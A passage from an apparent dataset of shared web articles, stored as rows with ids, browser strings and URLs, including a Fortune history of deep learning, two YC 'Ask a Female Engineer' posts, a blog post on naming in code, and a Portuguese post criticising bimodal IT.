bird. At a still higher level a neuron might detect the recurring juxtaposition of beaklike angles near headlike circles. ""And that's a pretty good cue that it might be the head of a bird,"" says Hinton. The neurons of each higher layer respond to concepts of greater complexity and abstraction, until one at the top level corresponds to our concept of ""bird."" To learn, however, a deep neural net needed to do more than just send messages up through the layers in this fashion. It also needed a way to see if it was getting the right results at the top layer and, if not, send messages back down so that all the lower neuron-like units could retune their activations to improve the results. That's where the learning would occur. In the early 1980s, Hinton was working on this problem. So was a French researcher named Yann LeCun, who was just starting his graduate work in Paris. LeCun stumbled on a 1983 paper by Hinton, which talked about multilayer neural nets. ""It was not formulated in those terms,"" LeCun recalls, ""because it was very difficult at that time actually to publish a paper if you mentioned the word 'neurons' or 'neural nets.' So he wrote this paper in an obfuscated manner so it would pass the reviewers. But I thought the paper was super-interesting."" The two met two years later and hit it off. In 1986, Hinton and two colleagues wrote a seminal paper offering an algorithmic solution to the error-correction problem. ""His paper was basically the foundation of the second wave of neural nets,"" says LeCun. It reignited interest in the field. After a post-doc stint with Hinton, LeCun moved to AT&T's Bell Labs in 1988, where during the next decade he did foundational work that is still being used today for most image-recognition tasks. In the 1990s, NCR , which was then a Bell Labs subsidiary, commercialized a neural-nets-powered device, widely used by banks, which could read handwritten digits on checks, according to LeCun. At the same time, two German researchers-Sepp Hochreiter, now at the University of Linz, and Jürgen Schmidhuber, codirector of a Swiss AI lab in Lugano-were independently pioneering a different type of algorithm that today, 20 years later, has become crucial for natural-language processing applications. Despite all the strides, in the mid-1990s neural nets fell into disfavor again, eclipsed by what were, given the computational power of the times, more effective machine-learning tools. That situation persisted for almost a decade, until computing power increased another three to four orders of magnitude and researchers discovered GPU acceleration. But one piece was still missing: data. Although the Internet was awash in it, most data-especially when it came to images-wasn't labeled, and that's what you needed to train neural nets. That's where Fei-Fei Li, a Stanford AI professor, stepped in. ""Our vision was that big data would change the way machine learning works,"" she explains in an interview. ""Data drives learning."" In 2007 she launched ImageNet, assembling a free database of more than 14 million labeled images. It went live in 2009, and the next year she set up an annual contest to incentivize and publish computer-vision breakthroughs. In October 2012, when two of Hinton's students won that competition, it became clear to all that deep learning had arrived. By then the general public had also heard about deep learning, though due to a different event. In June 2012, Google Brain published the results of a quirky project now known colloquially as the "" cat experiment ."" It struck a comic chord and went viral on social networks. The project actually explored an important unsolved problem in deep learning called ""unsupervised learning."" Almost every deep-learning product in commercial use today uses ""supervised learning,"" meaning that the neural net is trained with labeled data (like the images assembled by ImageNet). With ""unsupervised learning,"" by contrast, a neural net is shown unlabeled data and asked simply to look for recurring patterns. Researchers would love to master unsupervised learning one day because then machines could teach themselves about the world from vast stores of data that are unusable today-making sense of the world almost totally on their own, like infants. In the cat experiment, researchers exposed a vast neural net-spread across 1,000 computers-to 10 million unlabeled images randomly taken from YouTube videos, and then just let the software do its thing. When the dust cleared, they checked the neurons of the highest layer and found, sure enough, that one of them responded powerfully to images of cats. ""We also found a neuron that responded very strongly to human faces,"" says Ng, who led the project while at Google Brain. Yet the results were puzzling too. ""We did not find a neuron that responded strongly to cars,"" for instance, and ""there were a lot of other neurons we couldn't assign an English word to. So it's difficult."" The experiment created a sensation. But unsupervised learning remains uncracked-a challenge for the future. Not surprisingly, most of the deep-learning applications that have been commercially deployed so far involve companies like Google, Microsoft, Facebook, Baidu, and Amazon-the companies with the vast stores of data needed for deep-learning computations. Many companies are trying to develop more realistic and helpful ""chatbots""-automated customer-service representatives. Four Tech Giants Get Serious About Deep Learning GOOGLE Google launched the deep-learning-focused Google Brain project in 2011, introduced neural nets into its speech-recognition products in mid-2012, and retained neural nets pioneer Geoffrey Hinton in March 2013. It now has more than 1,000 deep-learning projects underway, it says, extending across search, Android, Gmail, photo, maps, translate, YouTube, and self-driving cars. In 2014 it bought DeepMind, whose deep reinforcement learning project, AlphaGo, defeated the world's go champion, Lee Sedol, in March, achieving an artificial intelligence landmark. MICROSOFT Microsoft introduced deep learning into its commercial speech-recognition products, including Bing voice search and X-Box voice commands, during the first half of 2011. The company now uses neural nets for its search rankings, photo search, translation systems, and more. ""It's hard to convey the pervasive impact this has had,"" says Lee. Last year it won the key image-recognition contest, and in September it scored a record low error rate on a speech-recognition benchmark: 6.3%. FACEBOOK In December 2013, Facebook hired French neural nets innovator Yann LeCun to direct its new AI research lab. Facebook uses neural nets to translate about 2 billion user posts per day in more than 40 languages, and says its translations are seen by 800 million users a day. (About half its community does not speak English.) Facebook also uses neural nets for photo search and photo organization, and it's working on a feature that would generate spoken captions for untagged photos that could be used by the visually impaired. BAIDU In May 2014, Baidu hired Andrew Ng, who had earlier helped launch and lead the Google Brain project, to lead its research lab. China's leading search and web services site, Baidu uses neural nets for speech recognition, translation, photo search, and a self-driving car project, among others. Speech recognition is key in China, a mobile-first society whose main language, Mandarin, is difficult to type into a device. The number of customers interfacing by speech has tripled in the past 18 months, Baidu says. Companies like IBM and Microsoft are also helping business customers adapt deep-learning-powered applications-like speech-recognition interfaces and translation services-for their own businesses, while cloud services like Amazon Web Services provide cheap, GPU-driven deep-learning computation services for those who want to develop their own software. Plentiful open-source software-like Caffe, Google's TensorFlow, and Amazon's DSSTNE-have greased the innovation process, as has an open-publication ethic, whereby many researchers publish their results immediately on one database without awaiting peer-review approval. Deep Learning and Medicine Startup Enlitic uses deep learning to analyze radiographs and CT and MRI scans. CEO Igor Barani, formerly a professor of radiation oncology at the University of California in San Francisco, says Enlitic's algorithms outperformed four radiologists in detecting and classifying lung nodules as benign or malignant. (The work has not been peer reviewed, and the technology has not yet obtained FDA approval.) Merck is trying to use deep learning to accelerate drug discovery, as is a San Francisco startup called Atomwise . Neural networks examine 3D images-thousands of molecules that might serve as drug candidates-and predict their suitability for blocking the mechanism of a pathogen. Such companies are using neural nets to try to improve what humans already do; others are trying to do things humans can't do at all. Gabriel Otte, 27, who has a Ph.D. in computational biology, started Freenome , which aims to diagnose cancer from blood samples. It examines DNA fragments in the bloodstream that are spewed out by cells as they die. Using deep learning, he asks computers to find correlations between cell-free DNA and some cancers. ""We're seeing novel signatures that haven't even been characterized by cancer biologists yet,"" says Otte. When Andreessen Horowitz was mulling an investment in Freenome, AH's Pande sent Otte five blind samples-two normal and three cancerous. Otte got all five right, says Pande, whose firm decided to invest. Many of the most exciting new attempts to apply deep learning are in the medical realm (see sidebar). We already know that neural nets work well for image recognition, observes Vijay Pande, a Stanford professor who heads Andreessen Horowitz's biological investments unit, and ""so much of what doctors do is image recognition, whether we're talking about radiology, dermatology, ophthalmology, or so many other '-ologies.' "" While a radiologist might see thousands of images in his life, a computer can be shown millions. ""It's not crazy to imagine that this image problem could be solved better by computers,"" Pande says, ""just because they can plow through so much more data than a human could ever do."" The potential advantages are not just greater accuracy and faster analysis, but democratization of services. As the technology becomes standard, eventually every patient will benefit. A version of this article appears in the October 1, 2016 issue of Fortune with the headline ""The Deep-Learning Revolution."" This version contains updated figures from the CB Insights research firm. The greatest impacts of deep learning may well be felt when it is integrated into the whole toolbox of other artificial intelligence techniques in ways that haven't been thought of yet. Google's DeepMind , for instance, has already been accomplishing startling things by combining deep learning with a related technique called reinforcement learning. Using the two, it created AlphaGo , the system that, this past March, defeated the champion player of the ancient Chinese game of go-widely considered a landmark AI achievement. Unlike IBM's Deep Blue, which defeated chess champion Garry Kasparov in 1997, AlphaGo was not programmed with decision trees, or equations on how to evaluate board positions, or with if-then rules. ""AlphaGo learned how to play go essentially from self-play and from observing big professional games,"" says Demis Hassabis, DeepMind's CEO. (During training, AlphaGo played a million go games against itself.) A game might seem like an artificial setting. But Hassabis thinks the same techniques can be applied to real-world problems. In July, in fact, Google reported that, by using approaches similar to those used by AlphaGo, DeepMind was able to increase the energy efficiency of Google's data centers by 15%. ""In the data centers there are maybe 120 different variables,"" says Hassabis. ""You can change the fans, open the windows, alter the computer systems, where the power goes. You've got data from the sensors, the temperature gauges, and all that. It's like the go board. Through trial and error, you learn what the right moves are. ""So it's great,"" he continues. ""You could save, say, tens of millions of dollars a year, and it's also great for the environment. Data centers use a lot of power around the world. We'd like to roll it out on a bigger scale now. Even the national grid level."" Chatbots are all well and good. But that would be a cool app.",en
1475851156,CONTENT SHARED,1990052153136096105,-534549863526737439,-1405487009929629533,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,HTML,http://themacro.com/articles/2016/09/introducing-ask-a-female-engineer/,Introducing Ask a Female Engineer,"We've recruited a group of female engineers with years of industry experience to try an experiment with us called ""Ask A Female Engineer."" There has been an active discourse around women in tech over the last few years. It can sometimes be frustrating, though, because not everyone who has something to say feels comfortable participating in the (often excessively polarized) conversation. We'd like to try creating a place where readers feel comfortable engaging in the women-in-tech discourse, and female programmers can openly discuss their experiences. To kick off the project, we asked YC employees to send in questions. We received many great ones, and chose three for this post. The identities of all participants were kept anonymous (we've given them different names) to help promote frank conversations. We're excited about the opportunity to introduce new perspectives on this topic, but we also recognize that the opinions of a few people by no means represent the opinions or experiences of all women who code. We'd love to hear feedback and more perspectives on these questions, so we're continuing the discussion on Hacker News . I'm a software engineer at YC and will be moderating these posts. If you have questions you'd like to anonymously ask, or if you're a female software developer who would like to participate, please email ask@ycombinator.com . On a typical day, how conscious are you of being a female engineer and can you tell us about the ways in which you feel (or are made to feel) this way? Ada : It depends. When I work on a team or at a company where there are other women, it's easier to feel like just an engineer. But, the fewer women there are, the more conscious I am of being the odd one out. My appearance, body language, and voice brand every piece of in-person communication. It becomes difficult to separate whether coworkers are reacting to the content of my statements or the packaging, so to speak. At my current job, where I'm the only woman, it's something that's almost constantly on my mind. I listen to video bloggers and podcasts while working just so I can hear non-male voices. Otherwise I get home at night and realize I haven't heard another woman's voice all day. Grace : I am conscious that I am a woman every single day. The main thing that reminds me is probably my voice. For example, I once had one of my male managers tell me that I would be treated with more respect in meetings if I lowered and deepened my voice. Once one of my managers told me to take a HUP pill (harden up princess) because I had to go to the hospital with an arm injury. Over the years I've learned to avoid managers that don't respect me or women in general. That can take a little time to figure out, but as soon as I realize it's the case, I'll promptly organize a transfer to a different department. It's a waste of time trying to work as an engineer while someone is pushing you down. It just doesn't work. In America I'm recognized as a foreigner first and I'm more frequently asked about that. But in both places I have had managers and other engineers ask if I would quit working soon to have a kid. I started getting asked by colleagues I hardly knew if I was planning to have kids soon. That was 8 years ago and I still don't have kids by choice. It's just wasn't something I wanted to think about. Klara : I feel conscious of my gender when I walk into meetings and I'm the only female. I immediately figure out who is likely to hear me out based on our previous interactions. Then I'll purposefully sit somewhere near those allies. If I'm feeling less confident when I'm speaking, I'll look at them first. I'm less likely to even speak up in meetings where I don't feel like I have supportive people. I don't often feel like I'm not heard at meetings, but I think that's because I'm careful about when I choose to speak. Frances : I'm constantly aware of being female. When a coworker looks to a junior male engineer on the team for help instead of me, a senior engineer. Or when someone corrects my code in a way that shows their default assumption is that I don't know something rather than that I made a mistake. I feel like guys are more inclined to give each other the benefit of the doubt and assume a mistake is just a mistake rather than a demonstration of a knowledge gap. Once I was representing my company at a career fair with a male engineer. He and I were standing next to each other ready to take resumes and answer questions, but all the candidates lined up in front of him. I tried writing ""SOFTWARE ENGINEER"" in big letters on my name tag, but even then had to continuously tell people in line ""I'm an engineer and can answer your questions too!"" I'd like to know if you wanted to take coding classes in middle school / high school but decided not to because the classes felt unfriendly / unwelcoming (or were dissuaded for other reasons). If this happened, were there alternatives? Jean : I'll talk from both my own and my kids' experiences. I did take a couple programming electives in high school. This was back in the early 1980s. We wrote in APL (yikes!) and BASIC. I chose to take them because my brother had taken some several years earlier and brought home stuff that my 10-year-old self thought was cool. I realized I was good at it. Both my husband and I are software engineers, so for our 3 kids, we had a family high school graduation requirement of at least one programming class (a half-year class). We told them they didn't have to like it or major in it, but genetically, they were likely to be good at it! So far 2 out of 3 are in CS-related fields. The 3rd is a college freshman and is ""undeclared engineering."" Our daughter took a half-year of C++, then AP CS and was on the programming team in HS (she was the only female). None of her equally high-achieving female friends took any programming class of any kind. They all took AP Physics, AP Calculus, AP Chemistry, etc. They all planned to major in a STEM field, but just not in the T. One friend finally took an Intro to Python class this past spring (in her junior year of college) at my daughter's urging. This woman discovered that not only did she really enjoy it, but it came easily and she was good at it. She's now scrambling to try to get a CS minor at her liberal arts college. If only she'd tried it sooner... Grace : I'd actually recommend women interested in computer science go and study at university in Australia. The education is affordable and high quality. You can study in Australia and get a great job as an engineer both during your study and when you graduate. An important thing to remember is every country is different and has different cultural norms. Working in different countries really opens your eyes to this. Frances : I wish someone in my family had suggested programming to me growing up. It never occurred to me to try it or that I might like it. It certainly wasn't something my friends did or ever talked about as a possible area of interest so it just wasn't on my radar until I went to college. What are the non-obvious things men can do to make things better for female engineers? Frances : Don't be afraid to talk to a woman about the fact that she is female. She knows she is, it's not a secret. I've found my managers and coworkers often avoid talking about it because it's one of those uncomfortable topics. It's a giant elephant in the room. But whenever someone talks openly about it to me I'm so overjoyed! If I heard more things like ""Hey, I noticed X thing, does that make you uncomfortable?"" or ""I know it's weird being the only woman on this team, how can I make the experience more comfortable for you?"", that would make a huge difference. Just knowing the people around you are sympathetic and on your side is huge. Grace : Offer to mentor us. Encourage us to take on new opportunities, projects, and initiatives. Invite women you work with for coffee and ask what they like or dislike about their day-to-day. If they mention concerns or problems they're having, ask if there's any way you could help make it better. Klara : Invite them to team activities, even if you think they won't be interested. Also try to find activities they might have in common with other team members. As the only woman on the team, my male teammates tend to have more interests in common with each other. Since they make up the majority of the team, we tend to have team activities that fit more comfortably into their ways of socializing, like playing Call of Duty or StarCraft (though some women definitely enjoy those games!). The pressure is on me to fit in with what the all-male group likes. I end up feeling conflicted because on the one hand, the older I get, the more I realize building relationships at work is valuable, but on the other hand, I'm now less likely to conform. These days I tend to take a DGAF attitude and instead of conforming to try and force a bond, I just don't participate. Thanks to the participants for answering questions, YC folks for submitting questions, Dan Gackle, Scott Bell, Aaron Stein, Colleen Taylor, Kevin Hale, Kat Manalac, and Craig Cannon for helping out in various ways. If you have questions you'd like to anonymously ask, or if you're a female software developer who would like to participate, please email ask@ycombinator.com .",en
1475851191,CONTENT SHARED,1184320069221244535,-534549863526737439,-1405487009929629533,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,HTML,http://themacro.com/articles/2016/09/ask-a-female-engineer-2/,Ask a Female Engineer: Joining a Startup,"We've recruited a group of female engineers with years of industry experience to try an experiment with us called ""Ask A Female Engineer."" Read our first post to learn more about the series. We recognize that the opinions of a few people by no means represent the opinions or experiences of all women who code. We'd love to hear feedback and more perspectives on these questions, so we're continuing the discussion on Hacker News . I'm a software engineer at YC and will be moderating these posts. If you have questions you'd like to anonymously ask, or if you're a female software developer who would like to participate, please email ask@ycombinator.com . What conditions must be true for you to join an early stage startup? Kay : The first startup in my life happened exactly 20 years ago, when I first came to the States. At that time I didn't know much about startups, I was just happy to get a paycheck on time. I didn't consider the risk I was taking on and, unfortunately, that startup dissolved four years later, leaving me looking for a new job while on a work permit as a single mother of three. For years after that experience, I was focused on job security and stability. In hindsight I realize coming to a new country with three small children and no support network was almost more adventurous than joining a startup! But for the first time recently I was in a position to choose my next job without feeling I needed to hurry. I realized I didn't want stability but rather I wanted more responsibilities! I wanted to make a difference in an organization and to have decision-making power. Once I was able to identify the things I wanted, I was fortunate to find an job opportunity almost immediately that was a great fit. More specifically, a startup is appealing to me if its management team is understanding that everyone has their own needs in terms of work schedule and time off. That they are able to offer flexible schedules that can be tailored to my needs. It's important that this isn't something that is just said, but that I can see it demonstrated as part of the company's culture. Then I need to validate that the tech team shares my technical values, is open to discussion before making big technical decisions, and doesn't just make decisions based on team member seniority. Understanding my manager is extremely important. I'll make sure my manager trusts everyone on the team, treats them like responsible adults, and is able to step back and let people get work done without being micromanaged. Related - I look for a manager that doesn't count hours spent on work but rather evaluates the results. When my kids were small, I used to do 4 to 6 hours a day of very focused work and would produce the same amount of work as others during an 8-hour shift. Ada : When considering an early startup, there are three main questions on my mind: Do I think the team has the ability to execute as they scale? Can I peacefully coexist with everyone on the team and can they peacefully coexist with each other? Is this idea good or is it bullshit? All these questions are tough to answer, and trying to figure out the answers involves a lot of guesswork. To get a sense for the team, I try to spend a fair amount of time observing how they interact with each other. If I have multiple people interviewing me at once, how do they communicate with one another? How do the founders talk about their cofounders? I try to pay attention to little cues like that. It's super useful to spend time with the team outside of a work context to get a sense for who they all are as people, so I'll try to grab coffee, drinks, or dinner with the team in a non-office setting if possible. Grace : I've worked at an early stage startup before and I would do it again. It's important to me to meet the founders. I'll judge the opportunity based on the vision of the startup, what kind of impact I can have and who I will report to. If my direct manager is awesome then I will be much more likely to join. Jean : For me the first step is determining if joining an early stage startup is viable in my life right now. Sometimes the rest of life can tip the hand and determine if the risk is worth it or not. I've only joined early startups when I know and trust at least one of the founders. I want to know what keeps them up at night. I have to understand and buy into the problem and solution and the vision. If there is a concrete timeline for a specific exit strategy that is a red flag. This is going to be a journey and we don't know exactly where the train is going. I will look for some degree of flexibility in the vision. Early stage, I look for a ""we're all friends"" attitude among the founders. There should be fiscal openness about the state of the business as much as possible. At later and larger stages, when there are 50 people or more, the company should have processes in place to run as a real business. At those places, I'm less likely to know the founders and am simply buying into the vision for the product, the team/manager and the prospects of a successful outcome. Marlyn : I'd join an early stage startup only if the startup was working on something that aimed to improve how the world works on a fundamental level. And I don't mean just improving the world for a niche set of people (many startups seem to target only well-off city dwellers, for example), but solving major problems for humanity (poverty, cancer, civil liberties) or pushing humanity's boundaries (space exploration, ageing). I would also have to believe the founders were capable of achieving their goals. I'm a skeptical person, so this is huge. Klara : I've only had one experience joining a super early stage team. I was the fifth employee. If I were to do it again, I would look for founders who've run companies before. The person I worked for was a first time founder and he didn't know how to run a team of people effectively. He didn't have enough experience as a founder to handle tough interpersonal situations and he didn't have a co-founder to help balance out his weaknesses. So I wouldn't work for a solo founder again either and I'd likely only work with someone I'd already worked with before, or at least had a personal connection to, so I'd be able to vet them informally. If you have questions you'd like to anonymously ask, or if you're a female software developer who would like to participate, please email ask@ycombinator.com .",en
1475854719,CONTENT SHARED,5854206600849997966,7645894863578715801,-2165791432286103639,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,http://blog.kaczmarzyk.net/2016/10/03/the-hardest-thing-in-computer-science/,The hardest thing in computer science,"I firmly believe that the hardest thing in computer science is naming things . I saw it many times during code reviews or analyzing legacy code, over and over: Wrong (vague or meaningless) names are often the consequence of bad design. For instance, it is impossible to find a good, concise name for a class/module which holds too many responsibilities. When something (e.g. a class) is named badly, programmers tend to care less about it. You have probably seen generic ""Service"" classes, that grow very fast, as more and more methods are added to them. Wrong names erase very important parts of the domain language from the code. The consequence is, that it is very hard to truly understand the domain model, especially when you are not the author of the code. This leads to even more shallow understanding of the system and the business. And that is the shortest route to even more bad code. ""(...) when you program, you have to think about how someone will read your code, not just how a computer will interpret it."" - Kent Beck Just imagine what would happen if, in real life, most of the names were vague, meaningless, or simply wrong. Not a good prospect, right? Yet you can see it in the source code very often. I decided to describe some common naming anti-patterns that I observed during my career. I think that eliminating them can really improve readability and, in turn, the overall quality of any codebase. Parameters and arguments are not the same thing Let's consider the following method signature: It is very common to see an usage similar to the following: The thing is, that the actual argument passed to a method is always much more specific than the corresponding parameter. A parameter might be generic, while an argument is a concrete value. It has its context, it has its intention. Therefore it deserves a much more specific name than just a repetition of the parameter name. Just see how much more information we get, if the above code is rewritten as follows: The idea is very simple - an argument is more than a parameter which it fits. Surprisingly often, though, programmers seem to forgot about it. Do not let an interface name pollute the name of your implementation The difference between parameters and arguments might be taken to another level when you consider interfaces and their implementations. If you read Dependency Inversion Principle ( SOLID ) carefully, it is clear that an interface is what a class (or a system or whatsoever) exposes for another components to express what it expects from them. Implementing an interface is meeting such expectations (i.e. making a class or another system something that you can ""plug in"" to this interface). Sadly, many programmers see it other way around, as if an interface was something that an implementation exposes to tell other classes about its capabilities. ""Could you pass me the charger, please?"" ""Sure!"" - real life conversation ""Could you pass me an electrical outlet implementation?"" ""WAT!?"" - if our daily language was as sloppy as the code often is This misunderstanding is another source of very bad names that lead to bad design. Let me make an example. I once dealt with two systems that were integrated with each other. The first system was sending some messages to the second one. The name of the second system was very vague, it just reflected a generic concept in the first system. The first system was basically a router which was preprocessing some messages and sending them to departments ( Department was an actual name used in the domain model of the first system). Most of these departments were external organizations with some web-service APIs. But here comes the second system. It wasn't 3rd party, it was maintained by the same group of people who maintained the first one. From the perspective of the first system, it was dealt with as any Department . So it was named ""MessageDepartment"" (seriously). The name reflected just the fact that it accepted messages and was plugged into a system that dealt with Departments . It wasn't any external department, just another subsystem of a larger whole. Yes, it accepted messages, but it would be much more informative to tell what it actually did with them. This extremely generic and vague name caused more and more functionality being added to the system. The developers ended up with adding many (too many) responsibilities to a single module. Among others, it included document/message browsing and management, review/verification process, notification feeds and duplicate detection. All of these were quite big and deserved a separate module/subsystem to preserve cohesion. It was clearly visible that something was wrong when you tried to describe that thing: it was difficult to find a concise definition/name. What the system became was just a big bag with different, unrelated functions. I firmly believe that the design would have been much better, if the system had been named accurately from the beginning. I.e. if the emphasis was put on what it really was (e.g. a notice board) rather than what it was integrated with. It would not have been so easy to randomly put new things into it so, hopefully, the functionality would have been split into separate modules. Express expectations through parameter names Let's consider the following code snippets: The good thing here is that a private method has been nicely extracted. Its name is quite OK too. Actually it could have been a proper code. The problem was that the logic in the private method was valid only for Notes (a type of Documents). It has not been used for any other documents (and should not have been). Therefore it would be great if the parameter was named more precisely, for example as follows: Variable or field is much more than its type How of then do you see code like this: In some cases it might be OK, but in many others variable names may (and should) carry additional information. For example: Another example I once found: Can you tell me what this person field really is? You probably could if you took a look on its usage, but you would not have to if somebody cared enough to write just: Another, more complex example: It is an actual snippet that I once saw during a code review. At least three names (marked as (1) , (2) and (3) in the comments above) could be improved here. But let's focus on the last one ( interviewStatus2InterviewResult ). It tells that the variable is a mapping of statuses to full interview results. It is true (at least), but do we really need that? The type of the variable tells the same and is clear enough, I think ( Map<InterviewStatus, List<InterviewResult>> ). The really important fact is that the map contains interview results for a single candidate. It is a consequence of the grouping operation few lines above. The code is not clear, so a good name would be even more helpful here. I think that this code requires much more refactoring in general, but even just naming improvements make it noticeably less ugly: Context of a method invocation is more than just the method itself In another system I worked on, I once found a method called advancedSearch . There was nothing wrong with the method itself (let's not worry about what ""advanced"" actually meant). The problem was in other place. The system had an on/off flag for duplicate detection (i.e. whether or not it should throw an exception if a duplicated item was submitted). The flag was named enableAdvancedSearch . How would you interpret it without knowing the explanation I gave above? I bet it would not be obvious. This advancedSearch method was actually used in other parts of the system too. The badly named flag wasn't about disabling/enabling the method/feature itself, but rather one particular context of using it. The intention (i.e. checking for duplicates) was much more important than the means of executing it (i.e. by invoking advancedSearch ). Therefore the proper name would be enableDuplicatePrevention . Name something if you can Logical expressions, literals, lambdas, even code snippets - they are all anonymous. Sometimes (very often, I think) it is a good idea to just name them. The easiest way to do that is to extract a method. Let's consider the following snippet as an example: Why should a reader be forced to even look on these 7 lines of code when all he or she wants is to get a general idea about what is going on at the high level? All that happens in these lines is just selecting the highest value out of a collection of status codes. It is a simple logic, but it would be easier to follow if it was explicitly named. And doing that is as easy as extracting a private method (e.g. status = theHighestStatusOf(statuses) ). Another example: Which in my opinion would be much better if a private method was extracted: The idea is simple. Just remember to be careful, because no name at all is actually better than a wrong name. Summary It is, for sure, not a complete list of naming anti-patterns. I hope it is just a good starting point for improving names in the code and finding more rules about them. Improving names improves readability, which positively affects the overall code quality. Which, I hope, is the goal for the most of us. Thanks for reading and I hope you will find it useful! Photo credit: Geoffrey Fairchild",en
1475859079,CONTENT SHARED,1971653634364577968,-1616903969205976623,-657803445967171132,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.linkedin.com/pulse/ti-bimodal-receita-para-o-desastre-cezar-taurion,TI Bimodal? Receita para o desastre...,"Há alguns anos o Gartner criou o conceito de TI bimodal. Outras consultorias começaram a falar do mesmo conceito e na época achei interessante a ideia. Mas, refletindo melhor e depois de algumas experiências, muitas conversas com CIOs e a leitura de três livros que considero essenciais, ""The Fourth Industrial Revolution"", de Klaus Schwab, chairman do World Economic Forum, ""Exponential Organizations: Why new organizations are ten times better, faster, and cheaper than yours (and what to do about it)"", publicado pela Singularity Unversity e ""Digital Vortex: How Today's Market Leaders Can Beat Disruptive Competitors at Their Own Game"", do IMD, tenho certeza que o conceito simplesmente não funciona. Já escrevi a respeito, aqui e aqui . O modelo bimodal, que mantém um sistema duplo, em que as empresas constroem lentamente a estabilidade dos sistemas de BackOffice, enquanto lançam rapidamente produtos digitais não atende mais as demandas dos negócios, e os processos e mudanças organizacionais do mundo digital, como exigido pelas transformações aceleradas que vivemos. A velocidade das mudanças exige respostas rápidas. As empresas têm que se reimaginar no mundo digital e devem ser adaptar continuamente em um mundo cada vez mais complexo, volátil, cheio de incertezas e ambiguidades, que será o novo ""business as usual"". Por que as consultorias criaram e incentivaram esse modelo? De maneira geral a as consultorias não podem se posicionar muito à frente do pensamento dos seus clientes corporativos. Elas se posicionam como uma lanterna que os guia em um caminho escuro, iluminando apenas uns passos à frente. No fundo as consultorias, para não bater de frente com o pensamento dominante entre seus clientes, acaba dizendo o que eles querem ouvir e não necessariamente o que eles deveriam ouvir. Esse artigo é bem instigante, e deve ser lido: "" Bimodal IT: Gartner's Recipe For Disaster "". Por isso, não iluminam toda a estrada, pois seria assustador para os seus clientes. As empresas querem ouvir que podem adotar tecnologias disruptivas sem muita disrupção em seus modelos, processos e estruturas organizacionais, e muito menos em mudanças em seus modelos de negócios. Os fornecedores de tecnologia que também tem a maior parte de suas receitas oriundas de hardwares, softwares e serviços para sistemas legados incentivam ardorosamente esses conceitos de mudanças graduais e lentas. Na verdade, eles também não conseguem fazer as suas próprias mudanças de forma rápida. Infelizmente, o modelo de TI bimodal reforça a mensagem, que os clientes corporativos querem ouvir, que as disrupções podem ser controladas e adotadas gradualmente. Mas acaba gerando procrastinação e atrasando a velocidade da empresa em fazer sua transformação de negócios. A consequência? O mundo está em transformação e essa transformação é exponencial. Em 2011, um estudo do Babson´s Olin Graduate School of Business previu que em dez anos 40% das empresas da lista Fortune 500 não existirão mais. Um outro estudo, da Yale, mostrou que a vida média das empresas S&P 500 decresceu de 67 anos nos anos 20 do século passado para 15 anos nos dias de hoje. Portanto, a questão é: não existe garantia nenhuma que o sucesso alcançado, solidez de marca, base de clientes, market share e resultados financeiros positivos de hoje garantam sua sobrevivência em 5 anos. Uma frase de David Rose, autor do ""Angel Investing: the gust guide to making money and having fun investing in startups"" é emblemática desse cenário: ""Any company designed for success in the 20th century is doomed to failure in the 21st"". Temos, portanto, dois caminhos. Agir ou ficar inertes, reforçando, com modelos mais conservadores, como bimodal, a ideia mais cômoda que podemos controlar o ritmo da disrupção em nosso setor de negócios? O modelo bimodal também mostra na prática muitos problemas. Gera conflitos internos entre o grupo ""moderno"", que desenvolve coisas inovadoras e desafiadoras, e o grupo que mantém o dia a dia, preso à sistemas e tecnologias que começam a perder empregabilidade. Além disso, a empresa digital tem que ágil por natureza, de ponta a ponta, e não apenas em uma pequena parte, como em grupos isolados de DevOps, que desenvolvem aplicações de web e apps. Para melhor compreender o conceito de empresa e TI ágil, recomendo a leitura do excelente artigo de Steve Denning, "" Explaining Agile "". A TI tradicional adota conceitos de pensamento linear, onde o modelo waterfall predomina. Esse modelo funciona bem em um cenário de alta previsibilidade e razoavelmente imutável. Mas, hoje, em uma era de exponencialidades com disrupções acontecendo a cada dia, o cenário imprevisível torna-se a tônica. O modelo linear simplesmente não sobrevive em um cenário de mudanças exponenciais. Assim, minha opinião é que deixemos de lado o bimodal ou no máximo o consideremos como um estágio intermediário para ser chegar a uma empresa e consequentemente uma TI ágil, mas ao invés de ser uma mudança lenta e gradual, essa deve ser rápida e agressiva. O que e como fazer? Antes de mais nada é necessário criar uma cultura digital na empresa e por incrível que pareça também na TI! A transformação de uma TI linear ou bimodal em uma TI 100% ágil não acontece de um dia para o outro. A mensagem que a empresa e o CIO devem passar continuamente é que ágil é o futuro da organização. Criar novos modelos de trabalho, redesenhar processos e definir metas agressivas para a transição reforçam a mensagem. Os patrocinadores dessa mudança devem ser não apenas o CIO, mas o CEO também deve estar profundamente engajado. Hackathons podem ajudar, mas desde que façam parte da estratégia de sinalizar essa mudança e não sejam apenas iniciativas isoladas, para mostrar que a empresa é ""moderna"" e ""cool"". Hackathons para valerem a pena, devem estar inseridos em um contexto estratégico com objetivos bem definidos, como impulsionar a mentalidade de agilidade e pensar ""sem caixa como referência"". Caso contrário são apenas dinheiro e tempo jogado fora. Já abordei esse tema aqui . O segundo pilar importante é juntar TI e negócios. Uma empresa e TI ágeis atuam em modelos de times cross-functional, com TI e negócios desenvolvendo atividades de forma colaborativa e integrada. Começamos a ver caírem os muros que sustentam organizações hierárquicas e isoladas em silos departamentais. Uma estrutura hierárquica emula uma máquina, sempre operando da mesma maneira. O resultado do engessamento, do método de comando-controle e do curto-prazismo pode ser observado no nível de satisfação dos funcionários, geralmente muito baixo. Uma pesquisa da Tower Watson, consultoria de RH em 2012, com 32.000 funcionários em 29 países mostrou que apenas 1/3 se mostraram realmente engajados com seu trabalho e a empresa, a despeito das premiações de ""melhor empregador"" e ""melhor ambiente de trabalho"" que pululam por aí. Estas empresas fazem o melhor que podem, mas o modelo é que não funciona mais. Por que não olhar uma organização como um ser vivo, em constante evolução e adaptação, aprendendo e agindo de forma diferente a cada novo aprendizado? Já debati esse assunto aqui e aqui . O terceiro 